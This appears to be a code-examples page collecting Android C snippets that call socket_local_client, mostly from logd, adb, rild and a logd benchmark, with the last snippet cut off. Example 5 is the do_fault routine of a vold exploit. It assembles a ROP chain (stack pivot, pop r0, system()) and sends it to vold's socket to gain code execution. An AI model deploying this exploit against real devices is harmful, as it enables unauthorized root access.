Ejemplo n.º 1
0
// Foreground waits for exit of the main persistent threads
// that are started here. The threads are created to manage
// UNIX domain client sockets for writing, reading and
// controlling the user space logger, and for any additional
// logging plugins like auditd and restart control. Additional
// transitory per-client threads are created for each reader.
int main(int argc, char *argv[]) {
    int fdPmesg = -1;
    bool klogd = property_get_bool_svelte("logd.klogd");
    if (klogd) {
        fdPmesg = open("/proc/kmsg", O_RDONLY | O_NDELAY);
    }
    fdDmesg = open("/dev/kmsg", O_WRONLY);

    // issue reinit command. KISS argument parsing.
    if ((argc > 1) && argv[1] && !strcmp(argv[1], "--reinit")) {
        int sock = TEMP_FAILURE_RETRY(
            socket_local_client("logd",
                                ANDROID_SOCKET_NAMESPACE_RESERVED,
                                SOCK_STREAM));
        if (sock < 0) {
            return -errno;
        }
        static const char reinit[] = "reinit";
        ssize_t ret = TEMP_FAILURE_RETRY(write(sock, reinit, sizeof(reinit)));
        if (ret < 0) {
            return -errno;
        }
        struct pollfd p;
        memset(&p, 0, sizeof(p));
        p.fd = sock;
        p.events = POLLIN;
        ret = TEMP_FAILURE_RETRY(poll(&p, 1, 100));
        if (ret < 0) {
            return -errno;
        }
        if ((ret == 0) || !(p.revents & POLLIN)) {
            return -ETIME;
        }
        static const char success[] = "success";
        char buffer[sizeof(success) - 1];
        memset(buffer, 0, sizeof(buffer));
        ret = TEMP_FAILURE_RETRY(read(sock, buffer, sizeof(buffer)));
        if (ret < 0) {
            return -errno;
        }
        return strncmp(buffer, success, sizeof(success) - 1) != 0;
    }

    // Reinit Thread
    sem_init(&reinit, 0, 0);
    sem_init(&uidName, 0, 0);
    sem_init(&sem_name, 0, 1);
    pthread_attr_t attr;
    if (!pthread_attr_init(&attr)) {
        struct sched_param param;

        memset(&param, 0, sizeof(param));
        pthread_attr_setschedparam(&attr, &param);
        pthread_attr_setschedpolicy(&attr, SCHED_BATCH);
        if (!pthread_attr_setdetachstate(&attr,
                                         PTHREAD_CREATE_DETACHED)) {
            pthread_t thread;
            reinit_running = true;
            if (pthread_create(&thread, &attr, reinit_thread_start, NULL)) {
                reinit_running = false;
            }
        }
        pthread_attr_destroy(&attr);
    }

    if (drop_privs() != 0) {
        return -1;
    }

    // Serves the purpose of managing the last logs times read on a
    // socket connection, and as a reader lock on a range of log
    // entries.

    LastLogTimes *times = new LastLogTimes();

    // LogBuffer is the object which is responsible for holding all
    // log entries.

    logBuf = new LogBuffer(times);

    signal(SIGHUP, reinit_signal_handler);

    if (property_get_bool_svelte("logd.statistics")) {
        logBuf->enableStatistics();
    }

    // LogReader listens on /dev/socket/logdr. When a client
    // connects, log entries in the LogBuffer are written to the client.

    LogReader *reader = new LogReader(logBuf);
    if (reader->startListener()) {
        exit(1);
    }

    // LogListener listens on /dev/socket/logdw for client
    // initiated log messages. New log entries are added to LogBuffer
    // and LogReader is notified to send updates to connected clients.

    LogListener *swl = new LogListener(logBuf, reader);
    // Backlog and /proc/sys/net/unix/max_dgram_qlen set to large value
    if (swl->startListener(300)) {
        exit(1);
    }

    // Command listener listens on /dev/socket/logd for incoming logd
    // administrative commands.

    CommandListener *cl = new CommandListener(logBuf, reader, swl);
    if (cl->startListener()) {
        exit(1);
    }

    // LogAudit listens on NETLINK_AUDIT socket for selinux
    // initiated log messages. New log entries are added to LogBuffer
    // and LogReader is notified to send updates to connected clients.

    bool auditd = property_get_bool("logd.auditd", true);

    LogAudit *al = NULL;
    if (auditd) {
        bool dmesg = property_get_bool("logd.auditd.dmesg", true);
        al = new LogAudit(logBuf, reader, dmesg ? fdDmesg : -1);
    }

    LogKlog *kl = NULL;
    if (klogd) {
        kl = new LogKlog(logBuf, reader, fdDmesg, fdPmesg, al != NULL);
    }

    if (al || kl) {
        int len = klogctl(KLOG_SIZE_BUFFER, NULL, 0);
        if (len > 0) {
            len++;
            char buf[len];

            int rc = klogctl(KLOG_READ_ALL, buf, len);

            buf[len - 1] = '\0';

            if ((rc >= 0) && kl) {
                kl->synchronize(buf);
            }

            for (char *ptr = NULL, *tok = buf;
                 (rc >= 0) && ((tok = log_strtok_r(tok, &ptr)));
                 tok = NULL) {
                if (al) {
                    rc = al->log(tok);
                }
                if (kl) {
                    rc = kl->log(tok);
                }
            }
        }

        // failure is an option ... messages are in dmesg (required by standard)

        if (kl && kl->startListener()) {
            delete kl;
        }

        if (al && al->startListener()) {
            delete al;
        }
    }

    TEMP_FAILURE_RETRY(pause());

    exit(0);
}
Ejemplo n.º 2
0
int service_to_fd(const char *name)
{
    int ret = -1;

    if(!strncmp(name, "tcp:", 4)) {
        int port = atoi(name + 4);
        name = strchr(name + 4, ':');
        if(name == 0) {
            ret = socket_loopback_client(port, SOCK_STREAM);
            if (ret >= 0)
                disable_tcp_nagle(ret);
        } else {
#if ADB_HOST
            adb_mutex_lock(&dns_lock);
            ret = socket_network_client(name + 1, port, SOCK_STREAM);
            adb_mutex_unlock(&dns_lock);
#else
            return -1;
#endif
        }
#ifndef HAVE_WINSOCK   /* winsock doesn't implement unix domain sockets */
    } else if(!strncmp(name, "local:", 6)) {
        ret = socket_local_client(name + 6,
                ANDROID_SOCKET_NAMESPACE_RESERVED, SOCK_STREAM);
    } else if(!strncmp(name, "localreserved:", 14)) {
        ret = socket_local_client(name + 14,
                ANDROID_SOCKET_NAMESPACE_RESERVED, SOCK_STREAM);
    } else if(!strncmp(name, "localabstract:", 14)) {
        ret = socket_local_client(name + 14,
                ANDROID_SOCKET_NAMESPACE_ABSTRACT, SOCK_STREAM);
    } else if(!strncmp(name, "localfilesystem:", 16)) {
        ret = socket_local_client(name + 16,
                ANDROID_SOCKET_NAMESPACE_FILESYSTEM, SOCK_STREAM);
#endif
#if ADB_HOST
    } else if(!strncmp("dns:", name, 4)){
        char *n = strdup(name + 4);
        if(n == 0) return -1;
        ret = create_service_thread(dns_service, n);
#else /* !ADB_HOST */
    } else if(!strncmp("dev:", name, 4)) {
        ret = unix_open(name + 4, O_RDWR);
    } else if(!strncmp(name, "framebuffer:", 12)) {
        ret = create_service_thread(framebuffer_service, 0);
    } else if(recovery_mode && !strncmp(name, "recover:", 8)) {
        ret = create_service_thread(recover_service, (void*) atoi(name + 8));
    } else if (!strncmp(name, "jdwp:", 5)) {
        ret = create_jdwp_connection_fd(atoi(name+5));
    } else if (!strncmp(name, "log:", 4)) {
        ret = create_service_thread(log_service, get_log_file_path(name + 4));
#endif
    } else if(!HOST && !strncmp(name, "shell:", 6)) {
        if(name[6]) {
            ret = create_subprocess(SHELL_COMMAND, "-c", name + 6);
        } else {
            ret = create_subprocess(SHELL_COMMAND, "-", 0);
        }
#if !ADB_HOST
    } else if(!strncmp(name, "sync:", 5)) {
        ret = create_service_thread(file_sync_service, NULL);
    } else if(!strncmp(name, "remount:", 8)) {
        ret = create_service_thread(remount_service, NULL);
    } else if(!strncmp(name, "reboot:", 7)) {
        void* arg = strdup(name + 7);
        if(arg == 0) return -1;
        ret = create_service_thread(reboot_service, arg);
    } else if(!strncmp(name, "root:", 5)) {
        ret = create_service_thread(restart_root_service, NULL);
    } else if(!strncmp(name, "tcpip:", 6)) {
        int port;
        if (sscanf(name + 6, "%d", &port) == 0) {
            port = 0;
        }
        ret = create_service_thread(restart_tcp_service, (void *)port);
    } else if(!strncmp(name, "usb:", 4)) {
        ret = create_service_thread(restart_usb_service, NULL);
#endif
#if 0
    } else if(!strncmp(name, "echo:", 5)){
        ret = create_service_thread(echo_service, 0);
#endif
    }
    if (ret >= 0) {
        close_on_exec(ret);
    }
    return ret;
}
Ejemplo n.º 3
0
Archivo: rild.c Proyecto: LuckJC/pro-hw
int main(int argc, char **argv)
{
    const char * rilLibPath = NULL;
    char **rilArgv;
    void *dlHandle;
    const RIL_RadioFunctions *(*rilInit)(const struct RIL_Env *, int, char **);
    const RIL_RadioFunctions *funcs;
    char libPath[PROPERTY_VALUE_MAX];
    unsigned char hasLibArgs = 0;

    int i;

    umask(S_IRGRP | S_IWGRP | S_IXGRP | S_IROTH | S_IWOTH | S_IXOTH);
    for (i = 1; i < argc ;) {
        if (0 == strcmp(argv[i], "-l") && (argc - i > 1)) {
            rilLibPath = argv[i + 1];
            i += 2;
        } else if (0 == strcmp(argv[i], "--")) {
            i++;
            hasLibArgs = 1;
            break;
        } else {
            usage(argv[0]);
        }
    }

    ALOGD("Android rild start");
    
    if (rilLibPath == NULL) {
        if ( 0 == property_get(LIB_PATH_PROPERTY, libPath, NULL)) {
            // No lib sepcified on the command line, and nothing set in props.
            // Assume "no-ril" case.
            ALOGD("No vendor so");
            goto done;
        } else {
            rilLibPath = libPath;
        }
    }

    /* special override when in the emulator */
#if 1
    {
        static char*  arg_overrides[3];
        static char   arg_device[32];
        int           done = 0;

#define  REFERENCE_RIL_PATH  "/system/lib/libreference-ril.so"

        /* first, read /proc/cmdline into memory */
        char          buffer[1024], *p, *q;
        int           len;
        int           fd = open("/proc/cmdline",O_RDONLY);

        if (fd < 0) {
            RLOGD("could not open /proc/cmdline:%s", strerror(errno));
            goto OpenLib;
        }

        do {
            len = read(fd,buffer,sizeof(buffer)); }
        while (len == -1 && errno == EINTR);

        if (len < 0) {
            RLOGD("could not read /proc/cmdline:%s", strerror(errno));
            close(fd);
            goto OpenLib;
        }
        close(fd);

        if (strstr(buffer, "android.qemud=") != NULL)
        {
            /* the qemud daemon is launched after rild, so
            * give it some time to create its GSM socket
            */
            int  tries = 5;
#define  QEMUD_SOCKET_NAME    "qemud"

            while (1) {
                int  fd;

                sleep(1);

                fd = qemu_pipe_open("qemud:gsm");
                if (fd < 0) {
                    fd = socket_local_client(
                                QEMUD_SOCKET_NAME,
                                ANDROID_SOCKET_NAMESPACE_RESERVED,
                                SOCK_STREAM );
                }
                if (fd >= 0) {
                    close(fd);
                    snprintf( arg_device, sizeof(arg_device), "%s/%s",
                                ANDROID_SOCKET_DIR, QEMUD_SOCKET_NAME );

                    arg_overrides[1] = "-s";
                    arg_overrides[2] = arg_device;
                    done = 1;
                    break;
                }
                RLOGD("could not connect to %s socket: %s",
                    QEMUD_SOCKET_NAME, strerror(errno));
                if (--tries == 0)
                    break;
            }
            if (!done) {
                RLOGE("could not connect to %s socket (giving up): %s",
                    QEMUD_SOCKET_NAME, strerror(errno));
                while(1)
                    sleep(0x00ffffff);
            }
        }

        /* otherwise, try to see if we passed a device name from the kernel */
        if (!done) do {
#define  KERNEL_OPTION  "android.ril="
#define  DEV_PREFIX     "/dev/"

            p = strstr( buffer, KERNEL_OPTION );
            if (p == NULL)
                break;

            p += sizeof(KERNEL_OPTION)-1;
            q  = strpbrk( p, " \t\n\r" );
            if (q != NULL)
                *q = 0;

            snprintf( arg_device, sizeof(arg_device), DEV_PREFIX "%s", p );
            arg_device[sizeof(arg_device)-1] = 0;
            arg_overrides[1] = "-d";
            arg_overrides[2] = arg_device;
            done = 1;

        } while (0);

        if (done) {
            argv = arg_overrides;
            argc = 3;
            i    = 1;
            hasLibArgs = 1;
            rilLibPath = REFERENCE_RIL_PATH;

            RLOGD("overriding with %s %s", arg_overrides[1], arg_overrides[2]);
        }
    }
OpenLib:
#endif
#ifndef MTK_3GDONGLE_SUPPORT
    switchUser();
#else
    {
        char mark_switchuser[PROPERTY_VALUE_MAX];
        if ((0 == property_get("rild.mark_switchuser", mark_switchuser, NULL)) || (mark_switchuser[0] == '0') ) {
            switchUser();
            RLOGD("switch user to radio from root.");
        }
    }
#endif

    dlHandle = dlopen(rilLibPath, RTLD_NOW);

    if (dlHandle == NULL) {
        RLOGE("dlopen failed: %s", dlerror());
        exit(-1);
    }

    RIL_startEventLoop();

    rilInit = (const RIL_RadioFunctions *(*)(const struct RIL_Env *, int, char **))dlsym(dlHandle, "RIL_Init");

    if (rilInit == NULL) {
        RLOGE("RIL_Init not defined or exported in %s\n", rilLibPath);
        exit(-1);
    }

    if (hasLibArgs) {
        rilArgv = argv + i - 1;
        argc = argc -i + 1;
    } else {
        static char * newArgv[MAX_LIB_ARGS];
        static char args[PROPERTY_VALUE_MAX];
        rilArgv = newArgv;
        property_get(LIB_ARGS_PROPERTY, args, "");
        argc = make_argv(args, rilArgv);
    }

    // Make sure there's a reasonable argv[0]
    rilArgv[0] = argv[0];

    funcs = rilInit(&s_rilEnv, argc, rilArgv);

    RIL_register(funcs);

done:

    while(1) {
        // sleep(UINT32_MAX) seems to return immediately on bionic
        sleep(0x00ffffff);
    }
}
// Must be functionally identical to liblog internal __send_log_msg.
static void send_to_control(char* buf, size_t len) {
  int sock =
      socket_local_client("logd", ANDROID_SOCKET_NAMESPACE_RESERVED, SOCK_STREAM | SOCK_CLOEXEC);
  if (sock < 0) return;
  size_t writeLen = strlen(buf) + 1;

  ssize_t ret = TEMP_FAILURE_RETRY(write(sock, buf, writeLen));
  if (ret <= 0) {
    close(sock);
    return;
  }
  while ((ret = read(sock, buf, len)) > 0) {
    if (((size_t)ret == len) || (len < PAGE_SIZE)) {
      break;
    }
    len -= ret;
    buf += ret;

    struct pollfd p = {.fd = sock, .events = POLLIN, .revents = 0 };

    ret = poll(&p, 1, 20);
    if ((ret <= 0) || !(p.revents & POLLIN)) {
      break;
    }
  }
  close(sock);
}

static void BM_lookupEventTagNum_logd_new(benchmark::State& state) {
  fprintf(stderr,
          "WARNING: "
          "This test can cause logd to grow in size and hit DOS limiter\n");
  // Make copies
  static const char empty_event_log_tags[] = "# content owned by logd\n";
  static const char dev_event_log_tags_path[] = "/dev/event-log-tags";
  std::string dev_event_log_tags;
  if (android::base::ReadFileToString(dev_event_log_tags_path,
                                      &dev_event_log_tags) &&
      (dev_event_log_tags.length() == 0)) {
    dev_event_log_tags = empty_event_log_tags;
  }
  static const char data_event_log_tags_path[] =
      "/data/misc/logd/event-log-tags";
  std::string data_event_log_tags;
  if (android::base::ReadFileToString(data_event_log_tags_path,
                                      &data_event_log_tags) &&
      (data_event_log_tags.length() == 0)) {
    data_event_log_tags = empty_event_log_tags;
  }

  while (state.KeepRunning()) {
    char buffer[256];
    memset(buffer, 0, sizeof(buffer));
    log_time now(CLOCK_MONOTONIC);
    char name[64];
    snprintf(name, sizeof(name), "a%" PRIu64, now.nsec());
    snprintf(buffer, sizeof(buffer), "getEventTag name=%s format=\"(new|1)\"",
             name);
    state.ResumeTiming();
    send_to_control(buffer, sizeof(buffer));
    state.PauseTiming();
  }

  // Restore copies (logd still know about them, until crash or reboot)
  if (dev_event_log_tags.length() &&
      !android::base::WriteStringToFile(dev_event_log_tags,
                                        dev_event_log_tags_path)) {
    fprintf(stderr,
            "WARNING: "
            "failed to restore %s\n",
            dev_event_log_tags_path);
  }
  if (data_event_log_tags.length() &&
      !android::base::WriteStringToFile(data_event_log_tags,
                                        data_event_log_tags_path)) {
    fprintf(stderr,
            "WARNING: "
            "failed to restore %s\n",
            data_event_log_tags_path);
  }
  fprintf(stderr,
          "WARNING: "
          "Restarting logd to make it forget what we just did\n");
  system("stop logd ; start logd");
}
Ejemplo n.º 5
0
static int do_fault()
{
	char buf[255];
	int sock = -1, n = 0, i;
	char s_stack_addr[5], s_stack_pivot_addr[5], s_pop_r0_addr[5], s_system[5], s_bsh_addr[5], s_heap_addr[5];
	uint32_t bsh_addr;
	char padding[128];
	int32_t padding_sz = (jumpsz == 0 ? 0 : gadget_jumpsz - jumpsz);

	if(samsung) {
		printf("[*] Sleeping a bit (~40s)...\n");
		sleep(40);
		printf("[*] Waking !\n");
	}

	memset(padding, 0, 128);
	strcpy(padding, "LORDZZZZzzzz");
	if(padding_sz > 0) {
		memset(padding+12, 'Z', padding_sz);
		printf("[*] Popping %d more zerglings\n", padding_sz);
	}
	else if(padding_sz < 0) {
		memset(padding, 0, 128);
		memset(padding, 'Z', 12+padding_sz);
	}

	if ((sock = socket_local_client("vold", ANDROID_SOCKET_NAMESPACE_RESERVED, SOCK_STREAM)) < 0)
		die("[-] Error creating Nydus");

	sprintf(s_stack_addr, "%c%c%c%c", stack_addr & 0xff, (stack_addr>>8)&0xff, (stack_addr>>16)&0xff, (stack_addr>>24)&0xff);
	sprintf(s_stack_pivot_addr, "%c%c%c%c", stack_pivot & 0xff, (stack_pivot>>8)&0xff, (stack_pivot>>16)&0xff, (stack_pivot>>24)&0xff);
	sprintf(s_pop_r0_addr, "%c%c%c%c", pop_r0 & 0xff, (pop_r0>>8)&0xff, (pop_r0>>16)&0xff, (pop_r0>>24)&0xff);
	sprintf(s_system, "%c%c%c%c", system_ptr & 0xff, (system_ptr>>8)&0xff, (system_ptr>>16)&0xff, (system_ptr>>24)&0xff);
	sprintf(s_heap_addr, "%c%c%c%c", heap_addr & 0xff, (heap_addr>>8)&0xff, (heap_addr>>16)&0xff, (heap_addr>>24)&0xff);

	if(adjust)
		strcpy(buf, "ZERGZERG");
	else
		strcpy(buf, "ZERG");
	strcat(buf, " ZZ ");
	strcat(buf, s_stack_pivot_addr);
	for(i=3; i < buffsz+1; i++)
		strcat(buf, " ZZZZ");
	strcat(buf, " ");
	strcat(buf, s_heap_addr);
		
	n = strlen(buf);
	bsh_addr = stack_addr + n + 1 + 8 + 8 + 8 + padding_sz + 12 + 4;
	
	if(check_addr(bsh_addr) == -1) {
		printf("[-] Colossus, we're doomed!\n");
		exit(-1);
	}

	sprintf(s_bsh_addr, "%c%c%c%c", bsh_addr & 0xff, (bsh_addr>>8)&0xff, (bsh_addr>>16)&0xff, (bsh_addr>>24)&0xff);

	n += sprintf(buf+n+1, "%s%s OVER%s%s%s%sZZZZ%s%c", s_stack_addr, s_heap_addr, padding, s_pop_r0_addr, s_bsh_addr, s_system, bsh, 0);
	
	printf("[*] Sending %d zerglings ...\n", n);

	if ((n = write(sock, buf, n+1)) < 0)
		die("[-] Nydus seems broken");
	
	sleep(3);
	close(sock);

	return n;
}
Ejemplo n.º 6
0
int service_to_fd(const char *name)
{
    int ret = -1;

    if(!strncmp(name, "tcp:", 4)) {
        int port = atoi(name + 4);
        name = strchr(name + 4, ':');
        if(name == 0) {
            ret = socket_loopback_client(port, SOCK_STREAM);
            if (ret >= 0)
                disable_tcp_nagle(ret);
        } else {
#if ADB_HOST
            ret = socket_network_client(name + 1, port, SOCK_STREAM);
#else
            return -1;
#endif
        }
#ifndef HAVE_WINSOCK   /* winsock doesn't implement unix domain sockets */
    } else if(!strncmp(name, "local:", 6)) {
        ret = socket_local_client(name + 6,
                ANDROID_SOCKET_NAMESPACE_RESERVED, SOCK_STREAM);
    } else if(!strncmp(name, "localreserved:", 14)) {
        ret = socket_local_client(name + 14,
                ANDROID_SOCKET_NAMESPACE_RESERVED, SOCK_STREAM);
    } else if(!strncmp(name, "localabstract:", 14)) {
        ret = socket_local_client(name + 14,
                ANDROID_SOCKET_NAMESPACE_ABSTRACT, SOCK_STREAM);
    } else if(!strncmp(name, "localfilesystem:", 16)) {
        ret = socket_local_client(name + 16,
                ANDROID_SOCKET_NAMESPACE_FILESYSTEM, SOCK_STREAM);
#endif
#if !ADB_HOST
    } else if(!strncmp("dev:", name, 4)) {
        ret = unix_open(name + 4, O_RDWR | O_CLOEXEC);
    } else if(!strncmp(name, "framebuffer:", 12)) {
        ret = create_service_thread(framebuffer_service, 0);
    } else if (!strncmp(name, "jdwp:", 5)) {
        ret = create_jdwp_connection_fd(atoi(name+5));
    } else if(!HOST && !strncmp(name, "shell:", 6)) {
        ret = create_subproc_thread(name + 6, SUBPROC_PTY);
    } else if(!HOST && !strncmp(name, "exec:", 5)) {
        ret = create_subproc_thread(name + 5, SUBPROC_RAW);
    } else if(!strncmp(name, "sync:", 5)) {
        ret = create_service_thread(file_sync_service, NULL);
    } else if(!strncmp(name, "remount:", 8)) {
        ret = create_service_thread(remount_service, NULL);
    } else if(!strncmp(name, "reboot:", 7)) {
        void* arg = strdup(name + 7);
        if (arg == NULL) return -1;
        ret = create_service_thread(reboot_service, arg);
    } else if(!strncmp(name, "root:", 5)) {
        ret = create_service_thread(restart_root_service, NULL);
    } else if(!strncmp(name, "backup:", 7)) {
        char* arg = strdup(name + 7);
        if (arg == NULL) return -1;
        char* c = arg;
        for (; *c != '\0'; c++) {
            if (*c == ':')
                *c = ' ';
        }
        char* cmd;
        if (asprintf(&cmd, "/system/bin/bu backup %s", arg) != -1) {
            ret = create_subproc_thread(cmd, SUBPROC_RAW);
            free(cmd);
        }
        free(arg);
    } else if(!strncmp(name, "restore:", 8)) {
        ret = create_subproc_thread("/system/bin/bu restore", SUBPROC_RAW);
    } else if(!strncmp(name, "tcpip:", 6)) {
        int port;
        if (sscanf(name + 6, "%d", &port) == 0) {
            port = 0;
        }
        ret = create_service_thread(restart_tcp_service, (void *) (uintptr_t) port);
    } else if(!strncmp(name, "usb:", 4)) {
        ret = create_service_thread(restart_usb_service, NULL);
    } else if (!strncmp(name, "reverse:", 8)) {
        char* cookie = strdup(name + 8);
        if (cookie == NULL) {
            ret = -1;
        } else {
            ret = create_service_thread(reverse_service, cookie);
            if (ret < 0) {
                free(cookie);
            }
        }
    } else if(!strncmp(name, "disable-verity:", 15)) {
        ret = create_service_thread(disable_verity_service, NULL);
#endif
    }
    if (ret >= 0) {
        close_on_exec(ret);
    }
    return ret;
}
Ejemplo n.º 7
0
int main(int argc, char **argv)
{
    const char * rilLibPath = NULL;
    char **rilArgv;
    void *dlHandle;
    const RIL_RadioFunctions *(*rilInit)(const struct RIL_Env *, int, char **);
    const RIL_RadioFunctions *funcs;
    char libPath[PROPERTY_VALUE_MAX];
    unsigned char hasLibArgs = 0;

    int i;
    const char *clientId = NULL;
    RLOGD("**RIL Daemon Started**");
    RLOGD("**RILd param count=%d**", argc);

    umask(S_IRGRP | S_IWGRP | S_IXGRP | S_IROTH | S_IWOTH | S_IXOTH);
    for (i = 1; i < argc ;) {
        if (0 == strcmp(argv[i], "-l") && (argc - i > 1)) {
            rilLibPath = argv[i + 1];
            i += 2;
        } else if (0 == strcmp(argv[i], "--")) {
            i++;
            hasLibArgs = 1;
            break;
        } else if (0 == strcmp(argv[i], "-c") &&  (argc - i > 1)) {
            clientId = argv[i+1];
            i += 2;
        } else {
            usage(argv[0]);
        }
    }

    if (clientId == NULL) {
        clientId = "0";
    } else if (atoi(clientId) >= MAX_RILDS) {
        RLOGE("Max Number of rild's supported is: %d", MAX_RILDS);
        exit(0);
    }
    if (strncmp(clientId, "0", MAX_CLIENT_ID_LENGTH)) {
        RIL_setRilSocketName(strncat(rild, clientId, MAX_SOCKET_NAME_LENGTH));
    }

    if (rilLibPath == NULL) {
        if ( 0 == property_get(LIB_PATH_PROPERTY, libPath, NULL)) {
            // No lib sepcified on the command line, and nothing set in props.
            // Assume "no-ril" case.
            goto done;
        } else {
            rilLibPath = libPath;
        }
    }

    /* special override when in the emulator */
#if 1
    {
        static char*  arg_overrides[5];
        static char   arg_device[32];
        int           done = 0;

#define  REFERENCE_RIL_PATH  "libreference-ril.so"

        /* first, read /proc/cmdline into memory */
        char          buffer[1024], *p, *q;
        int           len;
        int           fd = open("/proc/cmdline",O_RDONLY);

        if (fd < 0) {
            RLOGD("could not open /proc/cmdline:%s", strerror(errno));
            goto OpenLib;
        }

        do {
            len = read(fd,buffer,sizeof(buffer)); }
        while (len == -1 && errno == EINTR);

        if (len < 0) {
            RLOGD("could not read /proc/cmdline:%s", strerror(errno));
            close(fd);
            goto OpenLib;
        }
        close(fd);

        if (strstr(buffer, "android.qemud=") != NULL)
        {
            /* the qemud daemon is launched after rild, so
            * give it some time to create its GSM socket
            */
            int  tries = 5;
#define  QEMUD_SOCKET_NAME    "qemud"

            while (1) {
                int  fd;

                sleep(1);

                fd = qemu_pipe_open("qemud:gsm");
                if (fd < 0) {
                    fd = socket_local_client(
                                QEMUD_SOCKET_NAME,
                                ANDROID_SOCKET_NAMESPACE_RESERVED,
                                SOCK_STREAM );
                }
                if (fd >= 0) {
                    close(fd);
                    snprintf( arg_device, sizeof(arg_device), "%s/%s",
                                ANDROID_SOCKET_DIR, QEMUD_SOCKET_NAME );

                    arg_overrides[1] = "-s";
                    arg_overrides[2] = arg_device;
                    done = 1;
                    break;
                }
                RLOGD("could not connect to %s socket: %s",
                    QEMUD_SOCKET_NAME, strerror(errno));
                if (--tries == 0)
                    break;
            }
            if (!done) {
                RLOGE("could not connect to %s socket (giving up): %s",
                    QEMUD_SOCKET_NAME, strerror(errno));
                while(1)
                    sleep(0x00ffffff);
            }
        }

        /* otherwise, try to see if we passed a device name from the kernel */
        if (!done) do {
#define  KERNEL_OPTION  "android.ril="
#define  DEV_PREFIX     "/dev/"

            p = strstr( buffer, KERNEL_OPTION );
            if (p == NULL)
                break;

            p += sizeof(KERNEL_OPTION)-1;
            q  = strpbrk( p, " \t\n\r" );
            if (q != NULL)
                *q = 0;

            snprintf( arg_device, sizeof(arg_device), DEV_PREFIX "%s", p );
            arg_device[sizeof(arg_device)-1] = 0;
            arg_overrides[1] = "-d";
            arg_overrides[2] = arg_device;
            done = 1;

        } while (0);

        if (done) {
            argv = arg_overrides;
            argc = 3;
            i    = 1;
            hasLibArgs = 1;
            rilLibPath = REFERENCE_RIL_PATH;

            RLOGD("overriding with %s %s", arg_overrides[1], arg_overrides[2]);
        }
    }
OpenLib:
#endif
    switchUser();

    dlHandle = dlopen(rilLibPath, RTLD_NOW);

    if (dlHandle == NULL) {
        RLOGE("dlopen failed: %s", dlerror());
        exit(EXIT_FAILURE);
    }

    RIL_startEventLoop();

    rilInit = (const RIL_RadioFunctions *(*)(const struct RIL_Env *, int, char **))dlsym(dlHandle, "RIL_Init");

    if (rilInit == NULL) {
        RLOGE("RIL_Init not defined or exported in %s\n", rilLibPath);
        exit(EXIT_FAILURE);
    }

    if (hasLibArgs) {
        rilArgv = argv + i - 1;
        argc = argc -i + 1;
    } else {
        static char * newArgv[MAX_LIB_ARGS];
        static char args[PROPERTY_VALUE_MAX];
        rilArgv = newArgv;
        property_get(LIB_ARGS_PROPERTY, args, "");
        argc = make_argv(args, rilArgv);
    }

    rilArgv[argc++] = "-c";
    rilArgv[argc++] = clientId;
    RLOGD("RIL_Init argc = %d clientId = %s", argc, rilArgv[argc-1]);

    // Make sure there's a reasonable argv[0]
    rilArgv[0] = argv[0];

    funcs = rilInit(&s_rilEnv, argc, rilArgv);
    RLOGD("RIL_Init rilInit completed");

    RIL_register(funcs);

    RLOGD("RIL_Init RIL_register completed");

done:

    RLOGD("RIL_Init starting sleep loop");
    while (true) {
        sleep(UINT32_MAX);
    }
}
Ejemplo n.º 8
0
int main(int argc, char **argv)
{
    const char * rilLibPath = NULL;
    char **rilArgv;
    static char * s_argv[MAX_LIB_ARGS] = {NULL};
    void *dlHandle;
    const RIL_RadioFunctions *(*rilInit)(const struct RIL_Env *, int, char **);
    const RIL_RadioFunctions *funcs;
    char libPath[PROPERTY_VALUE_MAX];
    unsigned char hasLibArgs = 0;
    int j = 0;
    int i;
    static char clientId[3] = {'0'};

    RLOGD("**RIL Daemon Started**");
    RLOGD("**RILd param count=%d**", argc);
    memset(s_argv, 0, sizeof(s_argv));

    s_argv[0] = argv[0];

    umask(S_IRGRP | S_IWGRP | S_IXGRP | S_IROTH | S_IWOTH | S_IXOTH);
    for (i = 1, j = 1; i < argc ;) {
        if (0 == strcmp(argv[i], "-l") && (argc - i > 1)) {
            rilLibPath = argv[i + 1];
            i += 2;
        } else if (0 == strcmp(argv[i], "-c") && (argc - i > 1)) {
            strncpy(clientId, argv[i+1], strlen(clientId));
            i += 2;
        } else if (0 == strcmp(argv[i], "--")) {
            i++;
            hasLibArgs = 1;
            memcpy(&s_argv[j], &argv[i], argc-i);
            break;
        } else {
            usage(argv[0]);
        }
    }

#ifdef QCOM_HARDWARE
    if (atoi(clientId) >= MAX_RILDS) {
        RLOGE("Max Number of rild's supported is: %d", MAX_RILDS);
        exit(0);
    }
    RLOGD ("RIL Client Id:=%s", clientId);

    if (strncmp(clientId, "0", MAX_CLIENT_ID_LENGTH)) {
        if (RIL_setRilSocketName) {
            RIL_setRilSocketName(clientId);
        } else {
            RLOGE("Trying to instantiate multiple rild sockets without a compatible libril!");
        }
    }
#endif

    if (rilLibPath == NULL) {
        if ( 0 == property_get(LIB_PATH_PROPERTY, libPath, NULL)) {
            // No lib sepcified on the command line, and nothing set in props.
            // Assume "no-ril" case.
            goto done;
        } else {
            rilLibPath = libPath;
        }
    }

    /* special override when in the emulator */
#if 1
    {
        static char   arg_device[32];
        int           done = 0;

		//连接库地址:/system/lib/libreference-ril.so  
#define  REFERENCE_RIL_PATH  "/system/lib/libreference-ril.so"

        /* first, read /proc/cmdline into memory */
        char          buffer[1024], *p, *q;
        int           len;
        int           fd = open("/proc/cmdline",O_RDONLY);

        if (fd < 0) {
            RLOGD("could not open /proc/cmdline:%s", strerror(errno));
            goto OpenLib;
        }

        do {
            len = read(fd,buffer,sizeof(buffer)); }
        while (len == -1 && errno == EINTR);

        if (len < 0) {
            RLOGD("could not read /proc/cmdline:%s", strerror(errno));
            close(fd);
            goto OpenLib;
        }
        close(fd);

        if (strstr(buffer, "android.qemud=") != NULL)
        {
            /* the qemud daemon is launched after rild, so
            * give it some time to create its GSM socket
            */
            int  tries = 5;
#define  QEMUD_SOCKET_NAME    "qemud"

            while (1) {
                int  fd;

                sleep(1);

                fd = qemu_pipe_open("qemud:gsm");
                if (fd < 0) {
                    fd = socket_local_client(
                                QEMUD_SOCKET_NAME,
                                ANDROID_SOCKET_NAMESPACE_RESERVED,
                                SOCK_STREAM );
                }
                if (fd >= 0) {
                    close(fd);
                    snprintf( arg_device, sizeof(arg_device), "%s/%s",
                                ANDROID_SOCKET_DIR, QEMUD_SOCKET_NAME );

                    memset(s_argv, 0, sizeof(s_argv));
                    s_argv[1] = "-s";
                    s_argv[2] = arg_device;
                    done = 1;
                    break;
                }
                RLOGD("could not connect to %s socket: %s",
                    QEMUD_SOCKET_NAME, strerror(errno));
                if (--tries == 0)
                    break;
            }
